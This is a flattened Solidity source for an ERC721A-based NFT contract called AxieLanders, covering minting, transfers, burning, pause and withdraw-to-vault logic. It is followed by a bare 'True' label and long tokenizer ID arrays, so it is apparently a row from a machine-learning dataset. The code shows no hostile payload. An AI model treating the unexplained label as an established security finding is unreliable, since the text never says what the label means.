* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex &&
!_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (safe && to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: contracts/ERC721ABurnable.sol
// Creator: Chiru Labs
pragma solidity ^0.8.4;
/**
* @title ERC721A Burnable Token
* @dev ERC721A Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721ABurnable is Context, ERC721A {
/**
* @dev Burns `tokenId`. See {ERC721A-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
_burn(tokenId);
}
}
// File: contracts/AxieLandersERC721A.sol
pragma solidity ^0.8.4;
/// @custom:security-contact [email protected]
contract AxieLanders is ERC721A, Pausable, Ownable, ERC721ABurnable {
string private _baseTokenURI = "https://gateway.pinata.cloud/ipfs/QmdsRJx7oxqViimxww8oTYPWK4R8En54c5z4FzQ4ChN8oU/";
address public vault = 0x410133166E794e3B75b02B2e678399B920c5D370;
uint256 public _price = 0.1 ether;
uint256 public maxTokensPerWallet = 10;
uint256 public maxSupply = 5000;
uint256 public maxOwnerSupply = 550;
uint256 public totalOwnerSupply = 0;
constructor() ERC721A("AxieLanders", "AXL") {
_pause();
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string calldata baseURI) external onlyOwner {
_baseTokenURI = baseURI;
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function publicMint( uint256 num)
public
payable
whenNotPaused
{
require( (num + balanceOf(msg.sender) <= maxTokensPerWallet) , "You already own the maximun amount of tokens for this wallet");
require( totalSupply() + num <= maxSupply, "The amount of Axielands you are trying to mint exeeds the maxSupply, try using smaller quantities" );
require( msg.value == _price * num, "Ether sent is not correct" );
_safeMint(msg.sender, num);
}
function ownerMint( address to, uint256 num)
external
onlyOwner
{
require( totalOwnerSupply + num <= maxOwnerSupply,"Owner supply is depleted");
_safeMint(to, num);
totalOwnerSupply+=num;
}
function withdraw(uint256 amount) onlyOwner public returns(bool success) {
payable(vault).transfer(amount);
return true;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6021,
1011,
5890,
1008,
1013,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
7817,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
21183,
12146,
1013,
7817,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5164,
3136,
1012,
1008,
1013,
3075,
7817,
1063,
27507,
16048,
2797,
5377,
1035,
2002,
2595,
1035,
9255,
1027,
1000,
5890,
21926,
19961,
2575,
2581,
2620,
2683,
7875,
19797,
12879,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
19884,
1037,
1036,
21318,
3372,
17788,
2575,
1036,
2000,
2049,
2004,
6895,
2072,
1036,
5164,
1036,
26066,
6630,
1012,
1008,
1013,
3853,
2000,
3367,
4892,
1006,
21318,
3372,
17788,
2575,
3643,
1007,
4722,
5760,
5651,
1006,
5164,
3638,
1007,
1063,
1013,
1013,
4427,
2011,
2030,
6305,
3669,
4371,
9331,
2072,
1005,
1055,
7375,
1011,
10210,
11172,
1013,
1013,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2030,
6305,
3669,
4371,
1013,
28855,
14820,
1011,
17928,
1013,
1038,
4135,
2497,
1013,
1038,
20958,
16932,
2575,
2497,
2692,
2575,
2509,
2278,
2581,
2094,
2575,
4402,
17134,
27814,
2620,
21472,
2278,
16147,
2620,
18827,
2575,
21926,
2683,
2063,
2683,
21619,
2692,
2063,
2620,
1013,
2030,
6305,
3669,
4371,
9331,
2072,
1035,
1014,
1012,
1018,
1012,
2423,
1012,
14017,
2065,
1006,
3643,
1027,
1027,
1014,
1007,
1063,
2709,
1000,
1014,
1000,
1025,
1065,
21318,
3372,
17788,
2575,
8915,
8737,
1027,
3643,
1025,
21318,
3372,
17788,
2575,
16648,
1025,
2096,
1006,
8915,
8737,
999,
1027,
1014,
1007,
1063,
16648,
1009,
1009,
1025,
8915,
8737,
1013,
1027,
2184,
1025,
1065,
27507,
3638,
17698,
1027,
2047,
27507,
1006,
16648,
1007,
1025,
2096,
1006,
3643,
999,
1027,
1014,
1007,
1063,
16648,
1011,
1027,
1015,
1025,
17698,
1031,
16648,
1033,
1027,
27507,
2487,
1006,
21318,
3372,
2620,
1006,
4466,
1009,
21318,
3372,
17788,
2575,
1006,
3643,
1003,
2184,
1007,
1007,
1007,
1025,
3643,
1013,
1027,
2184,
1025,
1065,
2709,
5164,
1006,
17698,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
19884,
1037,
1036,
21318,
3372,
17788,
2575,
1036,
2000,
2049,
2004,
6895,
2072,
1036,
5164,
1036,
2002,
18684,
3207,
6895,
9067,
6630,
1012,
1008,
1013,
3853,
2000,
5369,
2595,
3367,
4892,
1006,
21318,
3372,
17788,
2575,
3643,
1007,
4722,
5760,
5651,
1006,
5164,
3638,
1007,
1063,
2065,
1006,
3643,
1027,
1027,
1014,
1007,
1063,
2709,
1000,
1014,
2595,
8889,
1000,
1025,
1065,
21318,
3372,
17788,
2575,
8915,
8737,
1027,
3643,
1025,
21318,
3372,
17788,
2575,
3091,
1027,
1014,
1025,
2096,
1006,
8915,
8737,
999,
1027,
1014,
1007,
1063,
3091,
1009,
1009,
1025,
8915,
8737,
1028,
1028,
1027,
1022,
1025,
1065,
2709,
2000,
5369,
2595,
3367,
4892,
1006,
3643,
1010,
3091,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
19884,
1037,
1036,
21318,
3372,
17788,
2575,
1036,
2000,
2049,
2004,
6895,
2072,
1036,
5164,
1036,
2002,
18684,
3207,
6895,
9067,
6630,
2007,
4964,
3091,
1012,
1008,
1013,
3853,
2000,
5369,
2595,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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